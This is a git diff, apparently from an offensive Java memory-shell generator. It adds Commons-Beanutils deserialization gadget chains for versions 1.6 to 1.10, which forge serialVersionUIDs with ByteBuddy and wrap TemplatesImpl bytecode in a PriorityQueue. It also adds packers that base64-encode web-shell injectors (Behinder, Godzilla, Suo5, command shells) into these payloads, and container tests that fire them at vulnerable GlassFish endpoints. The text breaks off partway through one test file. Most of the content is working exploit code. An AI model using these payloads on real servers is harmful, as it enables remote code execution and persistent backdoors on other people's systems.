diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java index 769163af..203ae0d1 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/PayloadType.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.deserialize; -import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19; +import com.reajason.javaweb.deserialize.payload.*; import lombok.Getter; /** @@ -12,7 +12,12 @@ public enum PayloadType { /** * CB 链 */ - CommonsBeanutils19(new CommonsBeanutils19()); + CommonsBeanutils16(new CommonsBeanutils16()), + CommonsBeanutils18(new CommonsBeanutils18()), + CommonsBeanutils19(new CommonsBeanutils19()), + CommonsBeanutils110(new CommonsBeanutils110()), + + ; private final Payload payload; diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java new file mode 100644 index 00000000..fcc69771 --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java @@ -0,0 +1,44 @@ +package com.reajason.javaweb.deserialize.payload; + +import com.reajason.javaweb.deserialize.Payload; +import com.reajason.javaweb.deserialize.TemplateUtils; +import com.reajason.javaweb.deserialize.utils.Reflections; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.description.modifier.FieldManifestation; +import net.bytebuddy.description.modifier.Ownership; +import net.bytebuddy.description.modifier.Visibility; +import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; +import org.apache.commons.beanutils.BeanComparator; + +import java.net.URL; +import java.net.URLClassLoader; +import java.util.Comparator; +import java.util.PriorityQueue; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class CommonsBeanutils110 implements Payload { + @Override + @SneakyThrows + public Object generate(byte[] bytes) { + Object comparator = new ByteBuddy() + .redefine(BeanComparator.class) + .field(named("serialVersionUID")) + .value(1L).make() + .load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded() + .getDeclaredConstructor(String.class, Comparator.class) + .newInstance(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue<>(2, ((Comparator) comparator)); + queue.add("1"); + queue.add("1"); + Object obj = TemplateUtils.createTemplatesImpl(bytes); + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); + return queue; + } +} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils16.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils16.java new file mode 100644 index 00000000..cacb74b2 --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils16.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.deserialize.payload; + +import com.reajason.javaweb.deserialize.Payload; +import com.reajason.javaweb.deserialize.TemplateUtils; +import com.reajason.javaweb.deserialize.utils.Reflections; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.description.modifier.FieldManifestation; +import net.bytebuddy.description.modifier.Ownership; +import net.bytebuddy.description.modifier.Visibility; +import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; +import org.apache.commons.beanutils.BeanComparator; + +import java.net.URL; +import java.net.URLClassLoader; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class CommonsBeanutils16 implements Payload { + @Override + @SneakyThrows + public Object generate(byte[] bytes) { + Object comparator = new ByteBuddy() + .redefine(BeanComparator.class) + .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) + .value(2573799559215537819L).make() + .load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded() + .getDeclaredConstructor(String.class, Comparator.class) + .newInstance(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue<>(2, ((Comparator) comparator)); + queue.add("1"); + queue.add("1"); + Reflections.setFieldValue(comparator, "property", "outputProperties"); + + Object obj = TemplateUtils.createTemplatesImpl(bytes); + Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); + return queue; + } +} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18.java new file mode 100644 index 00000000..7daaa811 --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18.java @@ -0,0 +1,44 @@ +package com.reajason.javaweb.deserialize.payload; + +import com.reajason.javaweb.deserialize.Payload; +import com.reajason.javaweb.deserialize.TemplateUtils; +import com.reajason.javaweb.deserialize.utils.Reflections; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.description.modifier.FieldManifestation; +import net.bytebuddy.description.modifier.Ownership; +import net.bytebuddy.description.modifier.Visibility; +import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; +import org.apache.commons.beanutils.BeanComparator; + +import java.net.URL; +import java.net.URLClassLoader; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class CommonsBeanutils18 implements Payload { + @Override + @SneakyThrows + @SuppressWarnings("unchecked") + public Object generate(byte[] bytes) { + Object comparator = new ByteBuddy() + .redefine(BeanComparator.class) + .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) + .value(-3490850999041592962L).make() + .load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded() + .getDeclaredConstructor(String.class, Comparator.class) + .newInstance(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue<>(2, ((Comparator) comparator)); + queue.add("1"); + queue.add("1"); + Reflections.setFieldValue(comparator, "property", "outputProperties"); + + Object obj = TemplateUtils.createTemplatesImpl(bytes); + Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); + return queue; + } +} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils19.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils19.java index 5abd215d..c182504e 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils19.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils19.java @@ -4,8 +4,16 @@ import com.reajason.javaweb.deserialize.Payload; import com.reajason.javaweb.deserialize.TemplateUtils; import com.reajason.javaweb.deserialize.utils.Reflections; import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.description.modifier.FieldManifestation; +import net.bytebuddy.description.modifier.Ownership; +import net.bytebuddy.description.modifier.Visibility; +import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; import org.apache.commons.beanutils.BeanComparator; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.Comparator; import java.util.PriorityQueue; /** @@ -16,12 +24,18 @@ public class CommonsBeanutils19 implements Payload { @Override @SneakyThrows public Object generate(byte[] bytes) { - Object obj = TemplateUtils.createTemplatesImpl(bytes); - final BeanComparator comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER); - final PriorityQueue queue = new PriorityQueue<>(2, comparator); + Object comparator = new ByteBuddy() + .redefine(BeanComparator.class) + .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) + .value(-2044202215314119608L).make() + .load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded() + .getDeclaredConstructor(String.class, Comparator.class) + .newInstance(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue<>(2, ((Comparator) comparator)); queue.add("1"); queue.add("1"); Reflections.setFieldValue(comparator, "property", "outputProperties"); + Object obj = TemplateUtils.createTemplatesImpl(bytes); Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); return queue; } diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java index 1a317167..90d057a8 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java @@ -41,4 +41,10 @@ public class Reflections { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } + + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } } diff --git a/deserialize/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java b/deserialize/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java new file mode 100644 index 00000000..49afd039 --- /dev/null +++ b/deserialize/src/test/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils18Test.java @@ -0,0 +1,34 @@ +package com.reajason.javaweb.deserialize.payload; + +import com.reajason.javaweb.deserialize.utils.Reflections; +import lombok.SneakyThrows; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.description.modifier.FieldManifestation; +import net.bytebuddy.description.modifier.Ownership; +import net.bytebuddy.description.modifier.Visibility; +import net.bytebuddy.dynamic.loading.ClassLoadingStrategy; +import org.junit.jupiter.api.Test; + +import java.net.URL; +import java.net.URLClassLoader; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2025/2/17 + */ +class CommonsBeanutils18Test { + + @Test + @SneakyThrows + void test() { + Object object = new ByteBuddy() + .redefine(Class.forName("org.apache.commons.beanutils.BeanComparator")) + .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) + .value(-2044202215314119608L) + .make().load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded().newInstance(); + assertEquals(-2044202215314119608L, Reflections.getFieldValue(object, "serialVersionUID")); + } + +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java index 5dbf0401..817f4f49 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java @@ -5,7 +5,7 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer; import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer; import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker; -import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker; +import com.reajason.javaweb.memshell.packer.deserialize.java.*; import com.reajason.javaweb.memshell.packer.el.ELPacker; import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker; import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker; @@ -87,9 +87,14 @@ public enum Packers { JinJava(new JinJavaPacker()), /** - * 反序列化打包器 + * Java 反序列化打包器 */ - Deserialize(new DeserializePacker()), + JavaDeserialize(new JavaDeserializePacker()), + JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class), + JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class), + JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class), + JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class), + JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class), AgentJar(new AgentJarPacker()), diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java new file mode 100644 index 00000000..23a46768 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils110Packer.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memshell.packer.deserialize.java; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.DeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/2/17 + */ +public class CommonsBeanutils110Packer implements Packer { + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110); + return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java new file mode 100644 index 00000000..cb62d5aa --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils16Packer.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memshell.packer.deserialize.java; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.DeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/2/17 + */ +public class CommonsBeanutils16Packer implements Packer { + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16); + return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java new file mode 100644 index 00000000..55f68f5d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils18Packer.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.memshell.packer.deserialize.java; + +import com.reajason.javaweb.deserialize.DeserializeConfig; +import com.reajason.javaweb.deserialize.DeserializeGenerator; +import com.reajason.javaweb.deserialize.PayloadType; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import lombok.SneakyThrows; +import org.apache.commons.codec.binary.Base64; + +/** + * @author ReaJason + * @since 2025/2/17 + */ +public class CommonsBeanutils18Packer implements Packer { + + @Override + @SneakyThrows + public String pack(GenerateResult generateResult) { + DeserializeConfig deserializeConfig = new DeserializeConfig(); + deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18); + return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java similarity index 84% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/DeserializePacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java index b6484031..3246187e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/DeserializePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/CommonsBeanutils19Packer.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.packer.deserialize; +package com.reajason.javaweb.memshell.packer.deserialize.java; import com.reajason.javaweb.deserialize.DeserializeConfig; import com.reajason.javaweb.deserialize.DeserializeGenerator; @@ -10,9 +10,9 @@ import org.apache.commons.codec.binary.Base64; /** * @author ReaJason - * @since 2024/12/10 + * @since 2025/2/17 */ -public class DeserializePacker implements Packer { +public class CommonsBeanutils19Packer implements Packer { @Override @SneakyThrows @@ -21,4 +21,4 @@ public class DeserializePacker implements Packer { deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19); return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); } -} \ No newline at end of file +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/JavaDeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/JavaDeserializePacker.java new file mode 100644 index 00000000..ca928a9c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/deserialize/java/JavaDeserializePacker.java @@ -0,0 +1,11 @@ +package com.reajason.javaweb.memshell.packer.deserialize.java; + +import com.reajason.javaweb.memshell.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class JavaDeserializePacker implements AggregatePacker { + +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 67736c6c..b14072ae 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -219,7 +219,7 @@ public class ShellAssertionTool { case JinJava -> VulTool.postData(url + "/jinjava", content); case Freemarker -> VulTool.postData(url + "/freemarker", content); case Velocity -> VulTool.postData(url + "/velocity", content); - case Deserialize -> VulTool.postData(url + "/java_deserialize", content); + case JavaDeserialize -> VulTool.postData(url + "/java_deserialize", content); case Base64 -> VulTool.postData(url + "/b64", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); default -> throw new IllegalStateException("Unexpected value: " + packer); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java index 7bee7ee3..16f5dc34 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java @@ -50,29 +50,29 @@ public class GlassFish3ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), // arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java index d0b3c554..b8398186 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java @@ -51,29 +51,29 @@ public class GlassFish4ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java index af66584c..335200bd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java @@ -43,29 +43,29 @@ public class GlassFish501ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java index 10ee4f56..527845d5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java @@ -43,37 +43,37 @@ public class GlassFish510ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, 